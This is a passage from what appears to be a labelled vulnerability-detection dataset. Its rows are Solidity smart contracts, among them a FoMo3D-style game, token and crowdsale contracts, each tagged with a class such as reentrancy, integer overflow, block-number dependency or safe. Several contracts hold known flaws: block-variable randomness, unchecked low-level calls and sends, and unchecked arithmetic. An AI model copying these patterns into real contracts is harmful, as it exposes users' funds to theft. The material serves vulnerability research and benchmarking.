_prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); round_[_rID].pot = _pot.add(_com); round_[_rID].pot = _pot.add(_p3d); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d; round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 35722.sol,"contract CoinContract { bool private workingState = false; address public owner; address public proxy; uint256 public x = 100; //coin multiplier mapping (address => uint256) private etherClients; event FundsGot(address indexed _sender, uint256 _value); event ContractEnabled(); event ContractDisabled(); modifier onlyOwner { require(msg.sender == owner); _; } modifier proxyAndOwner { require((msg.sender == proxy)||(msg.sender == owner)); _; } modifier workingFlag { require(workingState == true); _; } //@title Constructor function CoinContract() { owner = msg.sender; enableContract(); } //@title Destructor function kill() public onlyOwner { require(workingState == false); selfdestruct(owner); } //@title Contract enabler function enableContract() onlyOwner { workingState = true; ContractEnabled(); } //@title Contract disabler function disableContract() onlyOwner { workingState = false; ContractDisabled(); } //@title Contract proxy setter function setProxy(address _proxy) onlyOwner { proxy = _proxy; } //@title Contract payment function function pay(address _client, uint256 _amount) workingFlag returns (bool ret) { require(x > 0); etherClients[_client] += _amount; uint256 value = x * _amount; FundsGot(_client, etherClients[_client]); ret = proxy.call(bytes4(sha3(""generateTokens(address,uint256)"")), _client, value); } //@title Sender funds getter function getSenderFunds(address _sender) workingFlag returns (uint256 amount) { return etherClients[_sender]; } //@title Universal call function universalCall(string data) proxyAndOwner workingFlag returns (bool result) { data; bool ret = false; return ret; } }",./Dataset/reentrancy (RE)/,5,5 0x00a0cbe98e4d110b0fa82646152d77babf2951d0_ERC20Token.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function distributeToken(address[] addresses, uint256 _value) { for (uint i = 0; i < addresses.length; i++) { balances[msg.sender] -= _value; balances[addresses[i]] += _value; Transfer(msg.sender, addresses[i], _value); } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { totalSupply = 12 * 10 ** 24; balances[msg.sender] = totalSupply; // Give the creator all initial tokens (100000 for example) name = ""EETHER""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""EETHER""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 38289.sol,"pragma solidity ^0.4.13; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract Controlled { modifier onlyController() { require(msg.sender == controller); _; } address public controller; function Controlled() { controller = msg.sender; } address public newController; function changeOwner(address _newController) onlyController { newController = _newController; } function acceptOwnership() { if (msg.sender == newController) { controller = newController; } } } contract SphereTokenFactory{ function mint(address target, uint amount); } /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Controlled { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } // called by the owner on emergency, triggers stopped state function halt() external onlyController { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyController onlyInEmergency { halted = false; } } contract PricingMechanism is Haltable, SafeMath{ uint public decimals; PriceTier[] public priceList; uint8 public numTiers; uint public currentTierIndex; uint public totalDepositedEthers; struct PriceTier { uint costPerToken; uint ethersDepositedInTier; uint maxEthersInTier; } function setPricing() onlyController{ uint factor = 10 ** decimals; priceList.push(PriceTier(uint(safeDiv(1 ether, 400 * factor)),0,5000 ether)); priceList.push(PriceTier(uint(safeDiv(1 ether, 400 * factor)),0,1 ether)); numTiers = 2; } function allocateTokensInternally(uint value) internal constant returns(uint numTokens){ if (numTiers == 0) return 0; numTokens = 0; uint8 tierIndex = 0; for (uint8 i = 0; i < numTiers; i++){ if (priceList[i].ethersDepositedInTier < priceList[i].maxEthersInTier){ uint ethersToDepositInTier = min256(priceList[i].maxEthersInTier - priceList[i].ethersDepositedInTier, value); numTokens = safeAdd(numTokens, ethersToDepositInTier / priceList[i].costPerToken); priceList[i].ethersDepositedInTier = safeAdd(ethersToDepositInTier, priceList[i].ethersDepositedInTier); totalDepositedEthers = safeAdd(ethersToDepositInTier, totalDepositedEthers); value = safeSub(value, ethersToDepositInTier); if (priceList[i].ethersDepositedInTier > 0) tierIndex = i; } } currentTierIndex = tierIndex; return numTokens; } } contract DAOController{ address public dao; modifier onlyDAO{ if (msg.sender != dao) throw; _; } } contract CrowdSalePreICO is PricingMechanism, DAOController{ SphereTokenFactory public tokenFactory; uint public hardCapAmount; bool public isStarted = false; bool public isFinalized = false; uint public duration = 7 days; uint public startTime; address public multiSig; bool public finalizeSet = false; modifier onlyStarted{ if (!isStarted) throw; _; } modifier notFinalized{ if (isFinalized) throw; _; } modifier afterFinalizeSet{ if (!finalizeSet) throw; _; } function CrowdSalePreICO(){ tokenFactory = SphereTokenFactory(0xf961eb0acf690bd8f92c5f9c486f3b30848d87aa); decimals = 4; setPricing(); hardCapAmount = 5000 ether; } function startCrowdsale() onlyController { if (isStarted) throw; isStarted = true; startTime = now; } function setDAOAndMultiSig(address _dao, address _multiSig) onlyController{ dao = _dao; multiSig = _multiSig; finalizeSet = true; } function() payable stopInEmergency onlyStarted notFinalized{ if (totalDepositedEthers >= hardCapAmount) throw; uint contribution = msg.value; if (safeAdd(totalDepositedEthers, msg.value) > hardCapAmount){ contribution = safeSub(hardCapAmount, totalDepositedEthers); } uint excess = safeSub(msg.value, contribution); uint numTokensToAllocate = allocateTokensInternally(contribution); tokenFactory.mint(msg.sender, numTokensToAllocate); if (excess > 0){ msg.sender.send(excess); } } function finalize() payable onlyController afterFinalizeSet{ if (hardCapAmount == totalDepositedEthers || (now - startTime) > duration){ dao.call.gas(150000).value(totalDepositedEthers * 2 / 10)(); multiSig.call.gas(150000).value(this.balance)(); isFinalized = true; } } function emergency() payable onlyStarted onlyInEmergency onlyController afterFinalizeSet{ isFinalized = true; isStarted = false; multiSig.call.gas(150000).value(this.balance)(); } }",./Dataset/reentrancy (RE)/,5,5 0x02d3c51c102e8cad2ae1f7997a78e242df89cffa_LW.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract LW { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function LW( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }",Safe,8,8 1848.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 330.sol," pragma solidity ^0.4.6; library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * 